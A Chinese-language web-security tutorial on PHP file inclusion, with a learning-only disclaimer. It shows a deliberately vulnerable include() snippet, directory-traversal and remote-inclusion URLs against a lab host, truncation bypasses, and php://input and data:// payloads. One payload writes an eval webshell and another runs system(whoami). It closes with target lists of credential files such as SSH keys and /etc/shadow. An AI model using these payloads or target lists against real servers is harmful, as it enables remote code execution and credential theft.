WEB安全之:文件包含
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
包含文件(include file)。这种功能允许开发者把可重复使用的代码插入到单个的文件中,并在需要时将它们包含在特殊功能的代码文件中。
程序在引用文件的时,对传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
1 PHP 中文件包含函数
require()
require_once()
include()
include_once()
include 和 require 主要区别是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而 require 函数出现错误的时候,会直接报错并退出程序的执行。
include_once() , require_once() 主要区别是,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包含超过一次的情况。
2 无限制文件包含绕过
2.1 无限制文件包含测试语句
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
2.2 本地文件包含绕过
在服务器上获取通过正常途径无法访问的文件
http://include.lab.com/include/file01.php?file=../../../../../../../../../../../../etc/passwd
2.3 远程文件包含绕过
前提条件:
- php.ini 中开启以下功能
// 是否允许打开远程文件
allow_url_fopen = On
// 是否允许 include/require 远程文件
allow_url_include = On
利用远程的恶意包含文件,获取当前系统信息
http://include.lab.com/include/include01.php?filename=http://192.168.100.129/phpinfo
cat phpinfo
<?php phpinfo();?>
3 有限制文件包含绕过
3.1 限制文件类型的文件包含测试语句
<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>
3.2 有限制本地文件包含绕过
3.2.1 %00 截断绕过
前提条件:
- magic_quotes_gpc = Off:当打开- magic_quotes_gpc时,所有的- '(单引号),"(双引号),(反斜线)和 NULL字符(%00)都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用,如:- addslashes()、mysql_escape_string()、mysql_real_escape_string()等
- php 版本 < 5.3.4
http://include.lab.com/include02.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini%00
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%00
cat phpinfo
<?php phpinfo();?>
3.2.2 . 号截断绕过
 
前提条件:
- PHP 版本 < 5.2.9
- 若 Linux 文件名 > 4096 字节,超出的部分会被丢弃;
- 若 Windows 文件名 > 256 字节,超出的部分会被丢弃;
windows:
http://include.lab.com/include02.php?filename=phpinfo.php................................................................................................................................................................................................................
3.2.3 路径截断绕过
前提条件:
- 若 Linux 路径长度 > 4096 字节,超出的部分会被丢弃;
- 若 Windows 路径长度 > 256 字节,超出的部分会被丢弃;
- 注意:最后一个字符为 /。
http://include.lab.com/include02.php?filename=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
3.3 有限制远程文件包含绕过
3.3.1 远程文件测试脚本
cat phpinfo 
<?php phpinfo();?>
3.3.2 ? 号绕过
 
前提条件:
- PHP 版本 >= 5.3
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo?
3.3.3 # 号绕过
 
- 注意:#需要进行 URL 编码
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%23
3.3.4 空格绕过
- 注意:空格需要进行 URL 编码
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%20
4 PHP 伪协议
具体请参考: PHP伪协议总结 - SegmentFault 思否
远程文件包含测试文档
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
远程文件包含测试脚本
cat phpinfo <?php phpinfo();?>
4.1 php://filter
 
元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。
作用:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行,读取本地磁盘文件。
| php://filter 参数 | 描述 | 
|---|---|
| resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 | 
| read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符( |)分隔。 | 
| write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符( |)分隔。 | 
| <; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 | 
-  可用的过滤器列表(4类) 字符串过滤器 作用 string.rot13 等同于 str_rot13(),rot13 变换string.toupper 等同于 strtoupper(),转大写字母string.tolower 等同于 strtolower(),转小写字母string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签转换过滤器 作用 convert.base64-encode & convert.base64-decode 等同于 base64_encode()和base64_decode(),base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法 
-  条件: php < 5.0 ,在 allow_url_include=Off 情况下也可以用 php > 5.0,只有在allow_url_fopen=On 时才能使用 
-  示例: 
http://include.lab.com/include01.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
// 获取源码的 base64 编码PD9waHAgcGhwaW5mbygpOz8+
4.2 php://input
 
php://input 可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。
注意:
当 enctype="multipart/form-data" 时, php://input 是无效的。
4.2.1 php://input (读取 POST 数据)
用法:
?filename=php://input 数据利用POST传过去。
http://include.lab.com/include01.php?filename=php://input
[POST DATA部分]火狐浏览器使用 New Hackbar 测试成功
<?php phpinfo(); ?>
4.2.2 php://input (写入 POST 数据)
-  条件: php 配置文件中需同时开启 allow_url_fopen和allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,即 POST 过去 PHP 代码,即可执行。
-  注意: 碰到 file_get_contents()就要想到用php://input绕过,因为 php 伪协议也是可以利用 http 协议的,即可以使用 POST 方式传数据;
-  示例: http://include.lab.com/include01.php?filename=php://input [POST DATA部分]火狐浏览器使用 New Hackbar 测试成功 <?php fputs(fopen('webshell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> // 增加内容 <?php fputs(fopen('webshell.php','a'),'<?php phpinfo(); ?>'); ?>
4.3 data://
 
data:// 是一种数据流封装器,data:URI schema (URL schema可以是多种形式)
-  条件: -  // 是否允许打开远程文件 allow_url_fopen = On // 是否允许 include/require 远程文件 allow_url_include = On
-  PHP>=5.2.0
 
-  
-  作用:使用 data://数据流封装器传递相应格式的数据。通常可以用来执行 PHP 代码。
-  用法: data://text/plain, data://text/plain;base64,
-  示例: http://include.lab.com/include01.php?filename=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
5 常见文件路径
5.1 linux 日志文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
5.2 网站配置文件
// dedecms 数据库配置文件
data/common.inc.php,
// phpcms 配置文件
caches/configs/database.php
// phpwind 配置文件
conf/database.php
// wordpress 配置文件
wp-config.php
// discuz 全局配置文件
config/config_global.php,
5.3 系统配置文件
windows
// 查看系统版本
C:/boot.ini
// IIS配置文件
C:/Windows/System32/inetsrv/MetaBase.xml
// 存储系统初次安装的密码
C:/Windows/repairsam
C:/Windows/php.ini
C:/Windows/my.ini
C:/Program Files/mysql/my.ini
// Mysql root 用户密码
C:/Program Files/mysql/data/mysql/user.MYD
linux
// ssh 相关
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号